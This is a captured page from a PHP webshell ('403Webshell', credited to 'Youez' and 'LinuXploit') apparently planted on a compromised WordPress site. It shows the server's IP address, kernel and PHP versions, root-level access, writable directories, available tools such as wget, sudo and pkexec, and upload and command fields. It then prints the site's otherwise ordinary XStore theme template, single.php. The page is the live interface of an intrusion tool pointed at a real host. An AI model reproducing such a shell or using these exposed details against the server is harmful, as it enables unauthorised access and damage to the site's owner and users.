403Webshell
Server IP : 192.241.186.36  /  Your IP : 216.73.216.164
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux webserver7 4.15.0-194-generic #205-Ubuntu SMP Fri Sep 16 19:49:27 UTC 2022 x86_64
User : root ( 0)
PHP Version : 7.4.32
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/adsonicdigital/wp-content/themes/xstore/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/adsonicdigital/wp-content/themes/xstore/single.php
<?php

defined( 'ABSPATH' ) || exit( 'Direct script access denied.' );

get_header();

global $post;
//$l = etheme_page_config();
$not_single_post = is_singular(array('staticblocks', 'elementor_library'));
$sidebar = get_query_var( 'et_sidebar', 'left' );
if ( $not_single_post ) {
	$sidebar = 'without';
}
$post_template  = get_query_var('et_post-template', 'default');
$post_format 	= get_post_format();
$show_post_title = etheme_get_option( 'single_post_title', 1 );
$post_large = in_array( $post_template, array('large', 'large2') );

if ( $not_single_post ) :
	do_action( 'etheme_page_heading' );
	the_content();
else : ?>
	
	<?php if(have_posts()): while(have_posts()) : the_post(); ?>
		
		<?php if ( $post_large ): ?>
            <div class="single-post-large-wrapper <?php if($post_template == 'large2') echo 'centered'; ?>">
                <div class="single-post-large">
                    <div class="post-heading">
                        <div class="container">
							<?php if($post_format == 'quote'): ?>
                                <div class="featured-quote">
                                    <div class="quote-content">
                                        <div class="quote-icon">
                                            <i class="fa fa-quote-left"></i>
                                        </div>
										<?php etheme_the_post_field( 'quote' ); ?>
                                    </div>
                                </div>
							<?php endif; ?>
							
							<?php etheme_primary_category(true); ?>
							
							<?php if ( $show_post_title ): ?>
                                <h1><?php the_title(); ?></h1>
								<?php etheme_byline(array('single'=>true)); ?>
							<?php endif ?>
                        </div>
                    </div>
                </div>
            </div>
		<?php else: ?>
			<?php do_action( 'etheme_page_heading' ); ?>
		<?php endif ?>

        <div class="container sidebar-mobile-<?php echo esc_attr( get_query_var('et_sidebar-mobile', 'bottom') ); ?>">
        <div class="content-page sidebar-position-<?php echo esc_attr( $sidebar ); ?>">
            <div class="row hfeed">
				
				<?php
				$post_content 	= get_the_content();
				$gallery_filter = etheme_gallery_from_content( $post_content );
				$classes 		= array();
				$classes[] 		= 'blog-post';
				$classes[] 		= 'post-single';
				$classes[] 		= 'post-template-' . $post_template;
				?>
				
				<?php if ( $post_template != 'full-width'): ?>
                <div class="content <?php echo esc_attr( get_query_var('et_content-class', 'col-md-9') ); ?>">
                    <article <?php post_class( $classes ); ?> id="post-<?php the_ID(); ?>" >
						<?php endif; ?>

                        <header class="post-header">
							<?php if ( etheme_get_option('blog_featured_image', 1) && !etheme_get_custom_field('post_featured')): ?>
								
								<?php etheme_post_thumb( array(
									'size' => 'full',
									'link' => false
								) ); ?>
								
								<?php if( $show_post_title && in_array($post_format, array('audio', 'video')) && in_array($post_template, array('large', 'large2')) ): ?>
                                    <div class="wp-picture">
										<?php the_post_thumbnail( 'full' ); ?>
                                    </div>
								<?php endif; ?>
							
							<?php endif ?>
							
							
							
							<?php if( $show_post_title && $post_format != 'quote' && !in_array($post_template, array('large', 'large2'))): ?>
                                <div class="post-heading">
                                    <h2 class="entry-title"><?php the_title(); ?></h2>
	                                <?php etheme_byline(array('single'=>true)); ?>
                                </div>
							<?php endif; ?>
                        </header><!-- /header -->
						
						<?php if ( $post_template == 'full-width'): ?>
                        <div class="content <?php echo esc_attr( get_query_var('et_content-class', 'col-md-9') ); ?>">
                            <article <?php post_class( $classes ); ?> id="post-<?php the_ID(); ?>" >
								<?php endif; ?>
								
								<?php if($post_format != 'gallery'): ?>
                                    <div class="content-article entry-content">
										<?php the_content(); ?>
                                    </div>
								<?php else: ?>
									<?php echo '<div class="content-article entry-content">' . $gallery_filter['filtered_content'] . '</div>'; ?>
								<?php endif; ?>

                                <div class="post-navigation"><?php wp_link_pages(); ?></div>
								
								<?php the_tags( '<div class="single-tags"><span>' . esc_html__( 'Tags: ', 'xstore' ) . '</span>', ', ', '</div>' ); ?>
								
								<?php if(etheme_get_option('post_share', 1) && class_exists('ETC\App\Controllers\Shortcodes\Share')): ?>
                                    <div class="share-post">
										<?php echo ETC\App\Controllers\Shortcodes\Share::share_shortcode( array( 'title' => esc_html__('Share Post', 'xstore') ) ) ; ?>
                                    </div>
								<?php endif; ?>

                                <div class="clear"></div>
								
								<?php if(etheme_get_option('posts_links', 1) && function_exists('etheme_project_links')): ?>
									<?php etheme_project_links(array()); ?>
								<?php endif; ?>
								
								<?php if(etheme_get_option('about_author', 1)): ?>
                                    <h3 class="about-author-title"><span><?php esc_html_e('About author', 'xstore'); ?></span></h3>
                                    <div class="author-info">
                                        <a class="pull-left" href="#">
											<?php echo get_avatar( get_the_author_meta('email') , 130 ); ?>
                                        </a>
                                        <div class="media-body">
                                            <h4 class="title-alt author-name"><span><?php esc_html_e('About Author', 'xstore'); ?></span></h4>
                                            <h4 class="media-heading"><?php the_author_link(); ?></h4>
                                            <p class="author-desc"><?php echo get_the_author_meta('description'); ?></p>
                                            <a class="author-link" href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>" rel="author">
												<?php printf( esc_html__( 'Other posts by %1s', 'xstore' ), get_the_author() ); ?>
                                            </a>
                                        </div>
                                    </div>
								<?php endif; ?>
								
								<?php if(etheme_get_option('post_related', 1)): ?>
                                    <div class="related-posts">
										<?php etheme_get_related_posts(); ?>
                                    </div>
								<?php endif; ?>

                            </article>
							
							<?php comments_template('', true); ?>

                        </div><!-- .content -->
						
						<?php get_sidebar(); ?>

                </div>
            </div>
        </div>
	
	<?php endwhile;
	else: ?>

        <div class="container sidebar-mobile-<?php echo esc_attr( get_query_var('et_sidebar-mobile', 'bottom') ); ?>">
            <div class="content-page sidebar-position-<?php echo esc_attr( $sidebar ); ?>">
                <div class="row hfeed">
                    <h2><?php esc_html_e('No posts were found!', 'xstore') ?></h2>
					<?php get_sidebar(); ?>
                </div>
            </div>
        </div>
	
	<?php endif; ?>

<?php endif;

get_footer();

Youez - 2016 - github.com/yon3zu
LinuXploit